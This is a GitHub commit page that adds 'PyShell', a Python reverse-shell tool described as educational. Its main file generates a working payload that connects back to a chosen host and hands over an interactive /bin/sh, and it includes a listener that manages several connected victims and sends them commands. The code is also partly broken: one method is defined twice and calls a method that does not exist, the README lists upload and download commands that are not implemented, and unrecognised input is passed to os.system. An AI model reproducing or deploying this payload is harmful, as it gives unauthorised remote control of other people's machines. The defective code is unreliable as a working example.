Skip to content

Commit 43ea53f

Browse files
Merge pull request #520 from Killer2OP/PyShell
[ADDED]: PyShell Tool
2 parents ea2c79f + e2d00d2 commit 43ea53f

3 files changed

Lines changed: 248 additions & 0 deletions

File tree

PyShell/README.md

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
# PyShell
2+
A simple Python-based reverse shell command-line tool for educational purposes. This tool allows you to create reverse shell payloads, manage multiple client connections, and send commands to remote systems.
3+
4+
## Features
5+
6+
- Create reverse shell payloads
7+
- Start a listener for incoming connections
8+
- Manage multiple client connections
9+
- Send commands to selected clients
10+
- Upload and download files between local and remote systems
11+
12+
## Usage
13+
14+
1. Clone this repository to your local machine.
15+
2. Navigate to the repository directory:
16+
3. Run the shell script
17+
18+
## Commands
19+
- set host: Set the host IP for the listener.
20+
- set port: Set the port for the listener.
21+
- set name: Set the session name and payload name.
22+
- show options: Display configured options.
23+
- make: Create a reverse shell payload.
24+
- run: Start the listener for incoming connections.
25+
- send: Send a command to the selected client.
26+
- list: List connected clients.
27+
- select: Select a client for sending commands.
28+
- execute: Execute a command on all clients.
29+
- upload: Upload a file to the selected client.
30+
- download: Download a file from the selected client.
31+
- exit: Exit the shell.
32+

PyShell/pyshell.py

Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
#!/usr/bin/env python3
2+
import os
3+
import sys
4+
import socket
5+
import threading
6+
7+
class PyShell:
8+
def __init__(self):
9+
self.host = None
10+
self.port = None
11+
self.name = "default"
12+
self.clients = {}
13+
self.payload_dir = "payloads"
14+
self.selected_client = None
15+
16+
def colored_print(self, text, color_code):
17+
print(f"\033[{color_code}m{text}\033[0m")
18+
19+
def banner(self):
20+
banner = r"""
21+
22+
/$$$$$$$ /$$$$$$ /$$ /$$ /$$
23+
| $$__ $$ /$$__ $$| $$ | $$| $$
24+
| $$ \ $$ /$$ /$$| $$ \__/| $$$$$$$ /$$$$$$ | $$| $$
25+
| $$$$$$$/| $$ | $$| $$$$$$ | $$__ $$ /$$__ $$| $$| $$
26+
| $$____/ | $$ | $$ \____ $$| $$ \ $$| $$$$$$$$| $$| $$
27+
| $$ | $$ | $$ /$$ \ $$| $$ | $$| $$_____/| $$| $$
28+
| $$ | $$$$$$$| $$$$$$/| $$ | $$| $$$$$$$| $$| $$
29+
|__/ \____ $$ \______/ |__/ |__/ \_______/|__/|__/
30+
/$$ | $$
31+
| $$$$$$/
32+
\______/
33+
34+
"""
35+
self.colored_print(banner, "92")
36+
37+
def help(self):
38+
help_text = """
39+
Commands :
40+
set host : Change Your Host (Ex: set host IP)
41+
set port : Change Your Port (Ex: set port 4444)
42+
set name : Change Your Name Session and Payload
43+
show options : Show [Host,Port,Name,Target,BG]
44+
make : Make Your Payload
45+
run : Start The Listener
46+
exit : Exit the shell
47+
send : Send command to selected client
48+
list : List connected clients
49+
select : Select a client for sending commands
50+
"""
51+
self.colored_print(help_text, "94")
52+
53+
def help(self):
54+
help_text = """
55+
Commands :
56+
set host : Change Your Host (Ex: set host IP)
57+
set port : Change Your Port (Ex: set port 4444)
58+
set name : Change Your Name Session and Payload
59+
show options : Show [Host,Port,Name,Target,BG]
60+
make : Make Your Payload
61+
run : Start The Listener
62+
exit : Exit the shell
63+
"""
64+
self.slow_print(help_text)
65+
66+
def set_host(self, host):
67+
self.host = host
68+
print(f"Host => {self.host}")
69+
70+
def set_port(self, port):
71+
try:
72+
self.port = int(port)
73+
print(f"Port => {self.port}")
74+
except ValueError:
75+
print("Invalid port format. Please provide a valid integer.")
76+
77+
def set_name(self, name):
78+
self.name = name
79+
print(f"Name => {self.name}")
80+
81+
def show_options(self):
82+
options_info = f"\n[+] Your Host : {self.host}\n[+] Your Port : {self.port}\n[+] Session Name : {self.name}\n"
83+
self.slow_print(options_info)
84+
85+
def make_payload(self):
86+
if self.host and self.port and self.name:
87+
try:
88+
os.makedirs(self.payload_dir, exist_ok=True)
89+
payload_file = os.path.join(self.payload_dir, f"{self.name}_payload.py")
90+
with open(payload_file, "w") as f:
91+
payload_code = f"""
92+
import socket,subprocess,os
93+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
94+
s.connect(('{self.host}',{self.port}))
95+
os.dup2(s.fileno(),0)
96+
os.dup2(s.fileno(),1)
97+
os.dup2(s.fileno(),2)
98+
p=subprocess.call(['/bin/sh','-i'])
99+
"""
100+
f.write(payload_code)
101+
self.slow_print("[+] Payload created successfully.")
102+
except Exception as e:
103+
print(f"[-] Error creating payload: {e}")
104+
else:
105+
self.slow_print("[!] Host, port, and name must be set before creating the payload.")
106+
107+
def list_clients(self):
108+
self.colored_print("[+] Connected Clients:", "92")
109+
for idx, client in enumerate(self.clients.values(), start=1):
110+
client_ip, client_port = client.getpeername()
111+
client_name = client.get("name", "Unnamed")
112+
self.colored_print(f"{idx}. {client_name} - {client_ip}:{client_port}", "93")
113+
114+
def select_client(self, user_input):
115+
try:
116+
client_idx = int(user_input.split()[-1]) - 1
117+
selected_client = list(self.clients.values())[client_idx]
118+
client_ip, client_port = selected_client.getpeername()
119+
self.selected_client = selected_client
120+
self.colored_print(f"[+] Selected client: {client_ip}:{client_port}", "92")
121+
except (ValueError, IndexError):
122+
self.colored_print("[-] Invalid client selection.", "91")
123+
124+
def send_command(self, command):
125+
if self.selected_client:
126+
try:
127+
self.selected_client.send(command.encode())
128+
response = self.selected_client.recv(4096).decode()
129+
self.colored_print(response, "93")
130+
except Exception as e:
131+
self.colored_print(f"[-] Error sending command: {e}", "91")
132+
else:
133+
self.colored_print("[-] No client selected. Use 'list' and 'select' commands.", "91")
134+
135+
def handle_client(self, client_socket):
136+
client_ip, client_port = client_socket.getpeername()
137+
client_name = client_socket.recv(1024).decode()
138+
self.clients[client_socket] = {"name": client_name}
139+
140+
self.colored_print(f"[+] New connection from {client_ip}:{client_port} - {client_name}", "92")
141+
142+
while True:
143+
try:
144+
command = client_socket.recv(4096).decode()
145+
if not command:
146+
break
147+
output = self.execute_command(command)
148+
client_socket.send(output.encode())
149+
except KeyboardInterrupt:
150+
break
151+
except Exception as e:
152+
self.colored_print(f"[-] Error: {e}", "91")
153+
break
154+
155+
self.colored_print(f"[-] Connection with {client_ip}:{client_port} closed.", "91")
156+
client_socket.close()
157+
del self.clients[client_socket]
158+
159+
def start_listener(self):
160+
try:
161+
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
162+
server_socket.bind((self.host, self.port))
163+
server_socket.listen(5)
164+
self.colored_print(f"[+] Listening on {self.host}:{self.port}", "92")
165+
166+
while True:
167+
client_socket, client_address = server_socket.accept()
168+
client_thread = threading.Thread(target=self.handle_client, args=(client_socket,))
169+
client_thread.start()
170+
except KeyboardInterrupt:
171+
self.colored_print("\n[!] Listener interrupted.", "91")
172+
except Exception as e:
173+
self.colored_print(f"[-] Error during listener: {e}", "91")
174+
175+
def start(self):
176+
self.banner()
177+
while True:
178+
try:
179+
user_input = input('[*] User@Pyshell :~ ').lower().strip()
180+
if user_input == "help":
181+
self.help()
182+
elif user_input == "banner":
183+
os.system("clear")
184+
self.banner()
185+
elif "exit" in user_input:
186+
self.colored_print("\nGoodbye!", "91")
187+
break
188+
elif "set host" in user_input:
189+
self.set_host(user_input.split()[-1])
190+
elif "set port" in user_input:
191+
self.set_port(user_input.split()[-1])
192+
elif "set name" in user_input:
193+
self.set_name(user_input.split()[-1])
194+
elif user_input == "show options":
195+
self.show_options()
196+
elif user_input == "make":
197+
self.make_payload()
198+
elif user_input == "run":
199+
self.start_listener()
200+
elif "send" in user_input:
201+
self.send_command(user_input.split("send", 1)[-1].strip())
202+
elif "list" in user_input:
203+
self.list_clients()
204+
elif "select" in user_input:
205+
self.select_client(user_input)
206+
else:
207+
os.system(user_input)
208+
except KeyboardInterrupt:
209+
self.colored_print("\n[!] Keyboard interrupt detected. Use 'exit' to quit.", "91")
210+
except Exception as e:
211+
self.colored_print(f"[-] Error: {e}", "91")
212+
213+
if __name__ == "__main__":
214+
pyshell = PyShell()
215+
pyshell.start()

PyShell/requirements.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
colorama==0.4.4

0 commit comments

Comments
 (0)